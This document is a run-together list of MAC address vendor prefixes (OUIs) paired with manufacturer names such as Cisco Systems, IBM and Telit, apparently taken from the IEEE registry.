00217E Telit Communication s.p.a 002178 Matuschek Messtechnik GmbH 002172 Seoultek Valley 002166 NovAtel Inc. 002165 Presstek Inc. 00215F IHSE GmbH 002153 SeaMicro Inc. 002158 Style Flying Technology Co. 0021AC Infrared Integrated Systems Ltd 0021A5 ERLPhase Power Technologies Ltd. 00219F SATEL OY 00218A Electronic Design and Manufacturing Company 00218B Wescon Technology, Inc. 002185 MICRO-STAR INT'L CO.,LTD. 001FF9 Advanced Knowledge Associates 001FF2 VIA Technologies, Inc. 001FED Tecan Systems Inc. 001FE6 Alphion Corporation 001FE0 EdgeVelocity Corp 001FDA Nortel Networks 002209 Omron Healthcare Co., Ltd 002203 Glensound Electronics Ltd 002200 IBM Corp 0021F6 Oracle Corporation 0021F0 EW3 Technologies LLC 0021EA Bystronic Laser AG 0021E3 SerialTek LLC 0021DE Firepro Wireless 0021DD Northstar Systems Corp 0021D7 Cisco Systems, Inc 002235 Strukton Systems bv 002234 Corventis Inc. 00222F Open Grid Computing, Inc. 002228 Breeze Innovations Ltd. 002222 Schaffner Deutschland GmbH 00221C Private 00220F MoCA (Multimedia over Coax Alliance) 00212B MSA Auer 00211D Dataline AB 002124 Optos Plc 002118 Athena Tech, Inc. 002111 Uniphone Inc. 002107 Seowonintech Co Ltd. 002101 Aplicaciones Electronicas Quasar (AEQ) 002102 UpdateLogic Inc. 0021D0 Global Display Solutions Spa 0021CB SMS TECNOLOGIA ELETRONICA LTDA 0021C4 Consilium AB 0021B8 Inphi Corporation 0021B1 DIGITAL SOLUTIONS LTD 001F7B TechNexion Ltd. 001F7C Witelcom AS 001F79 Lodam Electronics A/S 001F74 Eigen Development 001F6F Fujian Sunnada Communication Co.,Ltd. 001F63 JSC Goodwin-Europa 001F6A PacketFlux Technologies, Inc. 001F69 Pingood Technology Co., Ltd. 001F57 Phonik Innovation Co.,LTD 001F21 Inner Mongolia Yin An Science & Technology Development Co.,L 001F22 Source Photonics, Inc. 001F1C KOBISHI ELECTRIC Co.,Ltd. 001F15 Bioscrypt Inc 001F10 TOLEDO DO BRASIL INDUSTRIA DE BALANCASLTDA 001F0C Intelligent Digital Services GmbH 001F07 AZTEQ Mobile 001FAA Taseon, Inc. 001FA5 Blue-White Industries 001FA0 A10 Networks 001F99 SERONICS co.ltd 001F9B POSBRO 001F94 Lascar Electronics Ltd 001F8D Ingenieurbuero Stark GmbH und Ko. KG 001F89 Signalion GmbH 001ED0 Ingespace 001ECB RPC Energoautomatika Ltd 001EC4 Celio Corp 001EBE Cisco Systems, Inc 001EBD Cisco Systems, Inc 001EB8 Fortis, Inc. 001EB1 Cryptsoft Pty Ltd 001EA6 Best IT World (India) Pvt. Ltd. 001EAC Armadeus Systems 001E9F Visioneering Systems, Inc. 001EA0 XLN-t 001EF4 L-3 Communications Display Systems 001EF9 Pascom Kommunikations systeme GmbH. 001EFA PROTEI Ltd. 001EE8 Mytek 001EED Adventiq Ltd. 001EE7 Epic Systems Inc 001ED7 H-Stream Wireless, Inc. 001E6B Cisco SPVTG 001E72 PCS 001E66 RESOL Elektronische Regelungen GmbH 001E5F KwikByte, LLC 001E53 Further Tech Co., LTD 001E9A HAMILTON Bonaduz AG 001E93 CiriTech Systems Inc 001E8E Hunkeler AG 001E88 ANDOR SYSTEM SUPPORT CO., LTD. 001E82 SanDisk Corporation 001E81 CNB Technology Inc. 001E7C Taiwick Limited 001E77 Air2App 001F50 Swissdis AG 001F49 Manhattan TV Ltd 001F4A Albentia Systems S.A. 001F44 GE Transportation Systems 001F2F Berker GmbH & Co. KG 001F34 Lung Hwa Electronics Co., Ltd. 001F28 HPN Supply Chain 001FD5 MICRORISC s.r.o. 001FD6 Shenzhen Allywll 001FD0 GIGA-BYTE TECHNOLOGY CO.,LTD. 001FC9 Cisco Systems, Inc 001FBD Kyocera Wireless Corp. 001FB1 Cybertech Inc. 001FB6 Chi Lin Technology Co., Ltd. 001D02 Cybertech Telecom Development 001CF6 Cisco Systems, Inc 001CEA Scientific-Atlanta, Inc 001CE9 Galaxy Technology Limited 001CE5 MBS Electronic Systems GmbH 001CE0 DASAN TPS 001CD9 GlobalTop Technology Inc. 001CD2 King Champion (Hong Kong) Limited 001CCD Alektrona Corporation 001CC6 ProStor Systems 001CBA VerScient, Inc. 001CB0 Cisco Systems, Inc 001CB5 Neihua Network Technology Co.,LTD.(NHN) 001CB6 Duzon CNT Co., Ltd. 001CA9 Audiomatica Srl 001D5F OverSpeed SARL 001D53 S&O Electronics (Malaysia) Sdn. Bhd. 001D4E TCM Mobile LLC 001D4D Adaptive Recognition Hungary, Inc 001D49 Innovation Wireless Inc. 001D3D Avidyne Corporation 001D43 Shenzhen G-link Digital Technology Co., Ltd. 001E17 STN BV 001E1C SWS Australia Pty Limited 001E12 Ecolab 001E0D Micran Ltd. 001E06 WIBRAIN 001DFF Network Critical Solutions Ltd 001E00 Shantou Institute of Ultrasonic Instruments 001DF3 SBS Science & Technology Co., Ltd 001DEE NEXTVISION SISTEMAS DIGITAIS DE TELEVISÃO LTDA. 001DED Grid Net, Inc. 001DDE Zhejiang Broadcast&Television Technology Co.,Ltd. 001DE7 Marine Sonic Technology, Ltd. 001DD7 Algolith 001DD8 Microsoft Corporation 001DCB Exéns Development Oy 001DC6 SNR Inc. 001DC5 Beijing Jiaxun Feihong Electricial Co., Ltd. 001DBF Radiient Technologies, Inc. 001DB8 Intoto Inc. 001D36 ELECTRONICS CORPORATION OF INDIA LIMITED 001D31 HIGHPRO INTERNATIONAL R&D CO,.LTD. 001D2A SHENZHEN BUL-TECH CO.,LTD. 001D23 SENSUS 001D24 Aclara Power-Line Systems Inc. 001D1B Sangean Electronics Inc. 001D1E KYUSHU TEN CO.,LTD 001D15 Shenzhen Dolphin Electronic Co., Ltd 001D0E Agapha Technology co., Ltd. 001DB3 HPN Supply Chain 001DAE CHANG TSENG TECHNOLOGY CO., LTD 001DA9 Castles Technology, Co., LTD 001DA2 Cisco Systems, Inc 001D9C Rockwell Automation 001D9B Hokuyo Automatic Co., Ltd. 001D96 WatchGuard Video 001D8F PureWave Networks 001D8A TechTrex Inc 001D89 VaultStor Corporation 001D7F Tekron International Ltd 001D83 Emitech Corporation 001D79 SIGNAMAX LLC 001D66 Hyundai Telecom 001D6D Confidant International LLC 001E42 Teltonika 001E3C Lyngbox Media AB 001E2F DiMoto Pty Ltd 001E36 IPTE 001E29 Hypertherm Inc 001E23 Electronic Educational Devices, Inc 001C0C TANITA Corporation 001C06 Siemens Numerical Control Ltd., Nanjing 001BFF Millennia Media inc. 001BFA G.i.N. mbH 001BE3 Health Hero Network, Inc. 001BE5 802automation Limited 001BE4 TOWNET SRL 001BDE Renkus-Heinz, Inc. 001BD2 ULTRA-X ASIA PACIFIC Inc. 001C6B COVAXCo. Ltd 001C64 Landis+Gyr 001C5F Winland Electronics, Inc. 001C53 Synergy Lighting Controls 001C58 Cisco Systems, Inc 001C4E TASA International Limited 001C47 Hangzhou Hollysys Automation Co., Ltd 001C49 Zoltan Technology Inc. 001C48 WiDeFi, Inc. 001C3B AmRoad Technology Inc. 001C42 Parallels, Inc. 001B72 Sicep s.p.a. 001B6D Midtronics, Inc. 001B6B Swyx Solutions AG 001B6C LookX Digital Media BV 001B66 Sennheiser electronic GmbH & Co. KG 001B5F Alien Technology 001B5A Apollo Imaging Technologies, Inc. 001B53 Cisco Systems, Inc 001B47 Futarque A/S 001B4C Signtech 001B4E Navman New Zealand 001B40 Network Automation mxc AB 001C9E Dualtech IT AB 001C97 Enzytek Technology Inc., 001C98 LUCKY TECHNOLOGY (HK) COMPANY LIMITED 001C92 Tervela 001C8B MJ Innovations Ltd. 001C86 Cranite Systems, Inc. 001C85 Eunicorn 001C81 NextGen Venturi LTD 001C72 Mayer & Cie GmbH & Co KG 001C77 Prodys 001B34 Focus System Inc. 001B39 Proxicast 001B3B Yi-Qing CO., LTD 001B28 POLYGON, JSC 001B2D Med-Eng Systems Inc. 001B1F DELTA - Danish Electronics, Light & Acoustics 001B18 Tsuken Electric Ind. Co.,Ltd 001B13 Icron Technologies Corporation 001B0C Cisco Systems, Inc 001BA7 Lorica Solutions 001BA2 IDS Imaging Development Systems GmbH 001B96 General Sensing 001B9B Hose-McCann Communications 001B8F Cisco Systems, Inc 001B85 MAN Diesel SE 001B7E Beckmann GmbH 001B79 FAIVELEY TRANSPORT 001C36 iNEWiT NV 001C2F Pfister GmbH 001C28 Sphairon Technologies GmbH 001C1E emtrion GmbH 001C19 secunet Security Networks AG 001C0B SmartAnt Telecom 001C0D G-Technology, Inc. 001BCB PEMPEK SYSTEMS PTY LTD 001BC4 Ultratec, Inc. 001BAE Micro Control Systems, Inc 001BA8 UBI&MOBI,.Inc 001B05 YMC AG 001B00 Neopost Technologies 001AF9 AeroVIronment (AV Inc) 001AEF Loopcomm Technology, Inc. 001AE3 Cisco Systems, Inc 001AEA Radio Terminal Systems Pty Ltd 001A26 Deltanode Solutions AB 001A2B Ayecom Technology Co., Ltd. 001A1F Coastal Environmental Systems 001A1A Gentex Corporation/Electro-Acoustic Products 001A13 Wanlida Group Co., LTD 001A0E Cheng Uei Precision Industry Co.,Ltd 001A0C Swe-Dish Satellite Systems AB 001A07 Arecont Vision 001A00 MATRIX INC. 001AD0 Albis Technologies AG 001AD5 KMC CHAIN INDUSTRIAL CO., LTD. 001AD7 Christie Digital Systems, Inc. 001AC9 SUZUKEN CO.,LTD 001ABA Caton Overseas Limited 001ABF TRUMPF Laser Marking Systems AG 001A81 Zelax 001A88 Venergy,Co,Ltd 001A7A Lismore Instruments Limited 001A70 Cisco-Linksys, LLC 001A72 Mosart Semiconductor Corp. 001A64 IBM Corp 001A56 ViewTel Co,. Ltd. 001A5B NetCare Service Co., Ltd. 001A5F KitWorks.fi Ltd. 0019B6 Euro Emme s.r.l. 0019A3 asteel electronique atlantique 0019A8 WiQuest Communications 0019AA Cisco Systems, Inc 0019AF Rigol Technologies, Inc. 001997 Soft Device Sdn Bhd 00199C CTRING 001A43 Logical Link Communications 001A48 Takacom Corporation 001A4A Qumranet Inc. 001A3C Technowave Ltd. 001A30 Cisco Systems, Inc 001A35 BARTEC GmbH 001A37 Lear Corporation 0019F2 Teradyne K.K. 0019F7 Onset Computer Corporation 0019DF Thomson Inc. 0019E6 TOYO MEDIC CO.,LTD. 0019EB Pyronix Ltd 0019CC RCG (HK) Ltd 0019D3 TRAK Microwave 0019D8 MAXFOR 0019C2 Equustek Solutions, Inc. 00198B Novera Optics Korea, Inc. 00198D Ocean Optics, Inc. 001986 Cheng Hongjian 001973 Zeugma Systems 00197A MAZeT GmbH 001967 TELDAT Sp.J. 00196C ETROVISION TECHNOLOGY 00196E Metacom (Pty) Ltd. 001AAC Corelatus AB 001AAE Savant Systems LLC 001AB3 VISIONITE INC. 001AA7 Torian Wireless 001A9E ICON Digital International Limited 001AA3 DELORME 001AA5 BRN Phoenix 001AA4 Future University-Hakodate 001A97 fitivision technology Inc. 001A8D AVECS Bergen GmbH 001962 Commerciant, LP 00195D ShenZhen XinHuaTong Opto Electronics Co.,Ltd 001951 NETCONS, s.r.o. 001956 Cisco Systems, Inc 00194A TESTO AG 001943 Belden 001873 Cisco Systems, Inc 001875 AnaCise Testnology Pte Ltd 00187A Wiremold 00186E 3Com Ltd 00185E Nexterm Inc. 001860 SIM Technology Group Shanghai Simcom Ltd., 001865 Siemens Healthcare Diagnostics Manufacturing Ltd 001903 Bigfoot Networks Inc 0018F9 VVOND, Inc. 0018F2 Beijing Tianyu Communication Equipment Co., Ltd 0018EB Blue Zen Enterprises Private Limited 0018ED Accutech Ultrasystems Co., Ltd. 0018E6 Computer Hardware Design SIA 0018DF The Morey Corporation 001937 CommerceGuard AB 00192E Spectral Instruments, Inc. 001932 Gude Analog- und Digialsysteme GmbH 001922 CM Comandos Lineares 001927 ImCoSys Ltd 001929 2M2B Montadora de Maquinas Bahia Brasil LTDA 00190F Advansus Corp. 001916 PayTec AG 00191B Sputnik Engineering AG 001908 Duaxes Corporation 00190A HASWARE INC. 0017D6 Bluechips Microhouse Co.,Ltd. 0017DB CANKO TECHNOLOGIES INC. 0017CC Alcatel-Lucent 0017C5 SonicWALL 0017B9 Gambro Lundia AB 0017BE Tratec Telecom B.V. 0017C0 PureTech Systems, Inc. 001852 StorLink Semiconductors, Inc. 001859 Strawberry Linux Co.,Ltd. 00184B Las Vegas Gaming, Inc. 001846 Crypto S.A. 001829 Gatsometer 001835 Thoratec / ITC 001824 Kimaldi Electronics, S.L. 001822 CEC TELECOM CO.,LTD. 0017B2 SK Telesys 0017AD AceNet Corporation 0017A6 YOSIN ELECTRONICS CO., LTD. 0017A1 3soft inc. 00179C DEPRAG SCHULZ GMBH u. CO. 001790 HYUNDAI DIGITECH Co, Ltd. 001795 Cisco Systems, Inc 0018CE Dreamtech Co., Ltd 0018D3 TEAMCAST 0018C2 Firetide, Inc 0018C4 Raba Technologies LLC 0018C9 EOps Technology Limited 0018BD SHENZHEN DVBWORLD TECHNOLOGY CO., LTD. 0018B1 IBM Corp 0018B6 S3C, Inc. 0018A3 ZIPPY TECHNOLOGY CORP. 0018AA Protec Fire Detection plc 001816 Ubixon Co., Ltd. 00181D ASIA ELECTRONICS CO.,LTD 001811 Neuros Technology International, LLC. 001801 Actiontec Electronics, Inc 0017F5 LIG NEOPTEK 0017FA Microsoft Corporation 0017FC Suprema Inc. 00189E OMNIKEY GmbH. 001894 NPCore, Inc. 001899 ShenZhen jieshun Science&Technology Industry CO,LTD. 001886 EL-TECH, INC. 001888 GOTIVE a.s. 001881 Buyang Electronics Industrial Co., Ltd 0016D4 Compal Communications, Inc. 0016D9 NINGBO BIRD CO.,LTD. 0016C8 Cisco Systems, Inc 0016CD HIJI HIGH-TECH CO., LTD. 0016C1 Eleksen Ltd 0016BA WEATHERNEWS INC. 00164F World Ethnic Broadcastin Inc. 001648 SSD Company Limited 001643 Sunhillo Corporation 00163E Xensource, Inc. 001637 CITEL SpA 00162B Togami Electric Mfg.co.,Ltd. 001755 GE Security 001747 Trimble 001749 HYUNDAE YONG-O-SA CO.,LTD 00174E Parama-tech Co.,Ltd. 001732 Science-Technical Center RISSA 001734 ADC Telecommunications 001739 Bright Headphone Electronics Company 00172D Axcen Photonics Corporation 001624 Teneros, Inc. 001613 LibreStream Technologies Inc. 001618 HIVION Co., Ltd. 00161F SUNWAVETEC Co., Ltd. 00160E Optica Technologies Inc. 001607 Curves International Inc. 001609 Unitech electronics co., ltd. 001608 Sequans Communications 001602 CEYON TECHNOLOGY CO.,LTD. 0015FB setex schermuly textile computer gmbh 0015F6 SCIENCE AND ENGINEERING SERVICES, INC. 001782 LoBenn Inc. 001789 Zenitron Corporation 00176D CORE CORPORATION 001771 APD Communications Ltd 001776 Meso Scale Diagnostics, LLC 001761 Private 001768 Zinwave Ltd 00175C SHARP CORPORATION 00175A Cisco Systems, Inc 001709 Exalt Communications 001704 Shinco Electronics Group Co.,Ltd 0016FD Jaty Electronics 0016F1 OmniSense, LLC 0016F6 Video Products Group 0016F8 AVIQTECH TECHNOLOGY CO., LTD. 0016E5 FORDLEY DEVELOPMENT LIMITED 0016DE FAST Inc 00167E DIBOSS.CO.,LTD 001680 Bally Gaming + Systems 001679 eOn Communications 00166E Arbitron Inc. 001667 A-TEC Subsystem INC. 00165B Grip Audio 001654 Flex-P Industries Sdn. Bhd. 001721 FITRE S.p.A. 001726 m2c Electronic Technology Ltd. 00171A Winegard Company 00171F IMV Corporation 001713 Tiger NetCom 00170E Cisco Systems, Inc 0016A9 2EI 0016AE INVENTEL 00169D Cisco Systems, Inc 00169F Vimtron Electronics Co., Ltd. 0016A4 Ezurio Ltd 001691 Moser-Baer AG 001698 T&A Mobile Phones 00168C DSL Partner AS 001685 Elisa Oyj 0015EF NEC TOKIN Corporation 0015E3 Dream Technologies Corporation 0015D9 PKC Electronics Oy 0015D2 Xantech Corporation 0015CC UQUEST, LTD. 0015CB Surf Communication Solutions Ltd. 0015CD Exartech International Corp. 0015C6 Cisco Systems, Inc 0015BB SMA Solar Technology AG 0014D5 Datang Telecom Technology CO. , LCD,Optical Communication Br 0014DA Huntleigh Healthcare 0014CE NF CORPORATION 0014C8 Contemporary Research Corp 0014BB Open Interface North America 0014B6 Enswer Technology Inc. 0014AC Bountiful WiFi 0014B1 Axell Wireless Limited 001476 MultiCom Industries Limited 001471 Eastern Asia Technology Limited 00146A Cisco Systems, Inc 001463 IDCS N.V. 001465 Novo Nordisk A/S 001464 Cryptosoft 00145E IBM Corp 001457 T-VIPS AS 001452 CALCULEX,INC. 001592 Facom UK Ltd (Melksham) 00158B Park Air Systems Ltd 001584 Schenck Process GmbH 00157F ChuanG International Holding CO.,LTD. 00157A Telefin S.p.A. 001575 Nevis Networks Inc. 00156E A. W. Communication Systems Ltd 001567 RADWIN Inc. 001569 PECO II, Inc. 001568 Dilithium Networks 001562 Cisco Systems, Inc 001503 PROFIcomms s.r.o. 001505 Actiontec Electronics, Inc 001504 GAME PLUS CO., LTD. 0014FE Artech Electronics 0014F7 CREVIS Co., LTD 0014F2 Cisco Systems, Inc 0014EB AwarePoint Corporation 0014E1 Data Display AG 00155B Sampo Corporation 00154F one RF Technology 001546 ITG Worldwide Sdn Bhd 00153F Alcatel Alenia Space Italia 001541 StrataLight Communications, Inc. 00153A Shenzhen Syscan Technology Co.,Ltd. 0015BF technicob 0015B4 PolymapWireless LLC 0015AA Rextechnik International Co., 0015A5 DCI Co., Ltd. 00159E Mad Catz Interactive Inc 001597 AETA AUDIO SYSTEMS 00149E UbONE Co., Ltd 001499 Helicomm Inc 001492 Liteon, Mobile Media Solution SBU 00148B Globo Electronic GmbH & Co. KG 00148D Cubic Defense Simulation Systems 001486 Echo Digital Audio Corporation 00147D Aeon Digital International 001533 NADAM.CO.,LTD 00152E PacketHop, Inc. 001527 Balboa Instruments 001520 Radiocrafts AS 00151B Isilon Systems Inc. 001516 URIEL SYSTEMS INC. 001511 Data Center Systems 00150A Sonoa Systems, Inc 00131F NxtPhase T&D, Corp. 001318 DGSTATION Co., Ltd. 00130C HF System Corporation 001313 GuangZhou Post & Telecom Equipment ltd 001354 Zcomax Technologies, Inc. 001358 Realm Systems, Inc. 00135D NTTPC Communications, Inc. 001348 Artila Electronics Co., Ltd. 001342 Vision Research, Inc. 00133C QUINTRON SYSTEMS INC. 001341 Shandong New Beiyang Information Technology Co.,Ltd 001329 VSST Co., LTD 001330 EURO PROTECTION SURVEILLANCE 001335 VS Industry Berhad 00132F Interactek 0012C4 Viseon, Inc. 0012D0 Gossen-Metrawatt-GmbH 0012CA Mechatronic Brick Aps 0012BA FSI Systems, Inc. 0012AE HLS HARD-LINE Solutions Inc. 0012B3 Advance Wireless Technology Corp. 0012AD IDS GmbH 00144D Intelligent Systems 001441 Innovation Sound Technology Co., LTD. 001448 Inventec Multimedia & Telecom Corporation 00143A RAYTALK INTERNATIONAL SRL 001435 CityCom Corp. 00142E 77 Elektronika Kft. 001429 V Center Technologies Co., Ltd. 001427 JazzMutant 00141E P.A. Semi, Inc. 0012F9 URYU SEISAKU, LTD. 001300 IT-FACTORY, INC. 001305 Epicom, Inc. 001306 Always On Wireless 0012F4 Belco International Co.,Ltd. 0012EF OneAccess SA 0012EA Trane 0012E9 Abbey Systems Ltd 0012DC SunCorp Industrial Limited 0012E3 Agat-RT, Ltd. 0012D7 Invento Networks, Inc. 0013F0 Wavefront Semiconductor 0013EB Sysmaster Corporation 0013E6 Technolution 0013DF Ryvor Corp. 0013D9 Matrix Product Development, Inc. 0013DA Diskware Co., Ltd 0013CD MTI co. LTD 0013D3 MICRO-STAR INTERNATIONAL CO., LTD. 0013C1 Asoka USA Corporation 0013BC Artimi Ltd 0013B7 Scantech ID 0013AB Telemotive AG 0013B2 Carallon Limited 0013B1 Intelligent Control Systems (Asia) Pte Ltd 0013A4 KeyEye Communications 00139F Electronics Design Services, Co., Ltd. 001398 TrafficSim Co.,Ltd 00138C Kumyoung.Co.Ltd 001391 OUEN CO.,LTD. 00137C Kaicom co., Ltd. 001383 Application Technologies and Engineering Research Laboratory 001364 Paradigm Technology Inc.. 001369 Honda Electron Co., LED. 00136A Hach Lange Sarl 001418 C4Line 00141D LTi DRIVES GmbH 001411 Deutschmann Automation GmbH & Co. KG 004501 Versus Technology, Inc. 001403 Renasis, LLC 0013FC SiCortex, Inc 0013F5 Akimbi Systems 0013F6 Cintech 001286 ENDEVCO CORP 00127F Cisco Systems, Inc 001278 International Bar Code 001273 Stoke Inc 001266 Swisscom Hospitality Services SA 001265 Enerdyne Technologies, Inc. 00125B KAIMEI ELECTRONI 0011D2 Perception Digital Ltd 0011D7 eWerks Inc 0011D1 Soft Imaging System GmbH 0011C2 United Fiber Optic Communication 0011CB Jacobsons AB 0011BB Cisco Systems, Inc 0011BC Cisco Systems, Inc 0011AA Uniclass Technology, Co., LTD 0011AF Medialink-i,Inc 001200 Cisco Systems, Inc 0011FB Heidelberg Engineering GmbH 0011F6 Asia Pacific Microsystems , Inc. 0011F1 QinetiQ Ltd 0011EA IWICS Inc. 0011E3 Thomson, Inc. 0011DE EURILOGIC 0011E4 Danelec Electronics A/S 001230 Picaso Infocommunication CO., LTD. 001226 Japan Direx Corporation 001220 Cadco Systems 00121A Techno Soft Systemnics Inc. 00121F Harding Instruments 001213 Metrohm AG 00120D Advanced Telecommunication Technologies, Inc. 001207 Head Strong International Limited 00120E AboCom 00117A Singim International Corp. 001173 SMART Storage Systems 001167 Integrated System Solution Corp. 00116D American Time and Signal 001163 SYSTEM SPA DEPT. ELECTRONICS 001156 Pharos Systems NZ 00115D Cisco Systems, Inc 0012A7 ISR TECHNOLOGIES Inc 0012A0 NeoMeridian Sdn Bhd 00129B E2S Electronic Engineering Solutions, S.L. 001294 SUMITOMO ELECTRIC DEVICE INNOVATIONS, INC 00128B Sensory Networks Inc 001285 Gizmondo Europe Ltd 0011A9 MOIMSTONE Co., LTD 0011A3 LanReady Technologies Inc. 001197 Monitoring Technologies Limited 00119C EP&T Energy 00118D Hanchang System Corp. 001192 Cisco Systems, Inc 001186 Prime Systems, Inc. 00117F Neotune Information Technology Corporation,.LTD 001260 Stanton Magnetics,inc. 001256 LG INFORMATION & COMM. 00124F Pentair Thermal Management 00124A Dedicated Devices, Inc. 001249 Delta Elettronica S.p.A. 001243 Cisco Systems, Inc 00123C Second Rule LLC 001148 Prolon Control Systems 00114D Atsumi Electric Co.,LTD. 00114E 690885 Ontario Inc. 001141 GoodMan Corporation 00113B Micronet Communications Inc. 001135 Grandeye Ltd 001126 Venstar Inc. 000EB9 HASHIMOTO Electronics Industry Co.,Ltd. 000EBA HANMI SEMICONDUCTOR CO., LTD. 000EAC MINTRON ENTERPRISE CO., LTD. 000EA0 NetKlass Technology Inc. 000EA7 Endace Technology 000E9A BOE TECHNOLOGY GROUP CO.,LTD 000E99 Spectrum Digital, Inc 00112B NetModule AG 001120 Cisco Systems, Inc 001125 IBM Corp 001119 Solteras, Inc. 001113 Fraunhofer FOKUS 001106 Siemens NV (Belgium) 00110D SANBlaze Technology, Inc. 001101 CET Technologies Pte Ltd 000FB3 Actiontec Electronics, Inc 000FA6 S2 Security Corporation 000FAD FMN communications GmbH 000F9B Ross Video Limited 000F9E Murrelektronik GmbH 000FA1 Gigabit Systems Inc. 000F95 ELECOM Co.,LTD Laneed Division 000F96 Telco Systems, Inc. 000F8F Cisco Systems, Inc 000F88 AMETEK, Inc. 000F83 Brainium Technologies Inc. 000F51 Azul Systems, Inc. 000F44 Tivella Inc. 000F43 Wasabi Systems Inc. 000F4A Kyushu-kyohan co.,ltd 000F3E CardioNet, Inc 000F3A HISHARP 000F30 Raza Microelectronics Inc 000F2F W-LINX TECHNOLOGY CO., LTD. 000F36 Accurate Techhnologies, Inc. 000F2A Cableware Electronics 000F76 Digital Keystone, Inc. 000F70 Wintec Industries, inc. 000F75 First Silicon Solutions 000F7C ACTi Corporation 000F69 SEW Eurodrive GmbH & Co. KG 000F63 Obzerv Technologies 000F64 D&R Electronica Weesp BV 000F5D Genexis BV 000F56 Continuum Photonics Inc 000EEB Sandmartin(zhong shan)Electronics Co.,Ltd 000EEC Orban 000EF1 EZQUEST INC. 000EDE REMEC, Inc. 000EE5 bitWallet, Inc. 000ECC Tableau, LLC 000ED9 Aksys, Ltd. 000ECB VineSys Technology 000ED2 Filtronic plc 000EBF Remsdaq Limited 000EC6 ASIX ELECTRONICS CORP. 000F23 Cisco Systems, Inc 000F1D Cosmo Techs Co., Ltd. 000F10 RDM Corporation 000F1E Chengdu KT Electric Co.of High & New Technology 000F0B Kentima Technologies AB 000F04 cim-usa inc 000EFE EndRun Technologies LLC 000EF8 SBC ASI 000EFD FUJINON CORPORATION 000FFB Nippon Denso Industry Co., Ltd. 000FF8 Cisco Systems, Inc 000FF2 Loud Technologies Inc. 000FF7 Cisco Systems, Inc 000FE5 MERCURY SECURITY CORPORATION 000FE6 MBTech Systems, Inc. 000FEB Cylon Controls 000FDF SOLOMON Technology Corp. 000FD8 Force, Inc. 000FD3 Digium 000FC6 Eurocom Industries A/S 000FC5 KeyMed Ltd 000FC0 DELCOMp 000FB4 Timespace Technology 000FB9 Adaptive Instruments 000D4D Ninelanes 000D54 3Com Ltd 000D45 Tottori SANYO Electric Co., Ltd. 000D48 AEWIN Technologies Co., Ltd. 000D40 Verint Loronix Video Solutions 000D39 Network Electronics 000D33 Prediwave Corp. 000D34 Shell International Exploration and Production, Inc. 000D2D NCT Deutschland GmbH 000D26 Primagraphics Limited 000D21 WISCORE Inc. 000D14 Vtech Innovation LP dba Advanced American Telephones 000D13 Wilhelm Rutenbeck GmbH&Co.KG 000D1A Mustek System Inc. 000D0E Inqnet Systems, Inc. 000D01 P&E Microcomputer Systems, Inc. 000D02 NEC Platforms, Ltd. 000D07 Calrec Audio Ltd 000E8D Systems in Progress Holding GmbH 000E94 Maas International BV 000E87 adp Gauselmann GmbH 000E81 Devicescape Software, Inc. 000E88 VIDEOTRON CORP. 000E75 New York Air Brake Corp. 000E7A GemWon Communications Co., Ltd. 000E66 Hitachi Industry & Control Solutions, Ltd. 000DF6 Technology Thesaurus Corp. 000DFD Huges Hi-Tech Inc., 000E02 Advantech AMT Inc. 000DEA Kingtel Telecommunication Corp. 000DEF Soc. Coop. Bilanciai 000DDD Profilo Telra Elektronik Sanayi ve Ticaret. A.Ş 000DDE Joyteck Co., Ltd. 000DE3 AT Sweden AB 000DD0 TetraTec Instruments GmbH 000DD7 Bright 000E61 MICROTROL LIMITED 000E5A TELEFIELD inc. 000E54 AlphaCell Wireless Ltd. 000E4E Waveplus Technology Co., Ltd. 000E53 AV TECH CORPORATION 000E47 NCI System Co.,Ltd. 000E41 NIHON MECHATRONICS CO.,LTD. 000E42 Motic Incoporation Ltd. 000E3C Transact Technologies Inc 000E36 HEINESYS, Inc. 000DB1 Japan Network Service Co., Ltd. 000DA9 T.E.A.M. S.L. 000DAC Japan CBM Corporation 000DA4 DOSCH & AMAND SYSTEMS AG 000D97 ABB Inc./Tropos 000D98 S.W.A.C. Schmitt-Walter Automation Consult GmbH 000D8A Winners Electronics Co., Ltd. 000D91 Eclipse (HQ Espana) S.L. 000D7F MIDASCOMMUNICATION TECHNOLOGIES PTE LTD ( Foreign Branch) 000D79 Dynamic Solutions Co,.Ltd. 000D73 Technical Support, Inc. 000D7A DiGATTO Asia Pacific Pte Ltd 000D6C M-Audio 000D5A Tiesse SpA 000D60 IBM Corp 000D59 Amity Systems, Inc. 000DCB Petcomkorea Co., Ltd. 000DC4 Emcore Corporation 000DBE Bel Fuse Europe Ltd.,UK 000DB8 SCHILLER AG 000DBD Cisco Systems, Inc 000E30 AERAS Networks, Inc. 000E29 Shester Communications Inc 000E23 Incipient, Inc. 000E24 Huwell Technology Inc. 000E16 SouthWing S.L. 000E1D ARION Technology Inc. 000E09 Shenzhen Coship Software Co.,LTD. 000E11 BDT Büro und Datentechnik GmbH & Co.KG 000BC8 AirFlow Networks 000BCF AGFA NDT INC. 000BC3 Multiplex, Inc. 000BBC En Garde Systems, Inc. 000BC1 Bay Microsystems, Inc. 000BB0 Sysnet Telematica srl 000BB5 nStor Technologies, Inc. 000BA6 Miyakawa Electric Works Ltd. 000BAB Advantech Technology (CHINA) Co., Ltd. 000B99 SensAble Technologies, Inc. 000B9A Shanghai Ulink Telecom Equipment Co. Ltd. 000B9F Neue ELSA GmbH 000B94 Digital Monitoring Products, Inc. 000C1D Mettler & Fuchs AG 000C22 Double D Electronics Ltd 000C0F Techno-One Co., Ltd 000C16 Concorde Microsystems Inc. 000C0A Guangdong Province Electronic Technology Research Institute 000BFD Cisco Systems, Inc 000BF7 NIDEK CO.,LTD 000BFC Cisco Systems, Inc 000BFE CASTEL Broadband Limited 000CA4 Prompttec Product Management GmbH 000C98 LETEK Communications Inc. 000C9D UbeeAirWalk, Inc. 000C9F NKE Corporation 000C8C KODICOM CO.,LTD. 000C91 Riverhead Networks Inc. 000C80 Opelcomm Inc. 000C85 Cisco Systems, Inc 000CD0 Symetrix 000CD5 Passave Inc. 000CDC BECS Technology, Inc 000CC9 ILWOO DATA & TECHNOLOGY CO.,LTD 000CB0 Star Semiconductor Corporation 000CB6 NANJING SEU MOBILE & INTERNET TECHNOLOGY CO.,LTD 000CBD Interface Masters, Inc 000CC2 ControlNet (India) Private Limited 000CAF TRI TERM CO.,LTD. 000C71 Wybron, Inc 000C78 In-Tech Electronics Limited 000C7D TEIKOKU ELECTRIC MFG. CO., LTD 000C65 Sunin Telecom 000C6A MBARI 000C6C Elgato Systems LLC 000B88 Vidisco ltd. 000B8D Avvio Networks 000B7B Test-Um Inc. 000B7A L-3 Linkabit 000B7C Telex Communications 000B81 Kaparel Corporation 000B6E Neff Instrument Corp. 000B75 Iosoft Ltd. 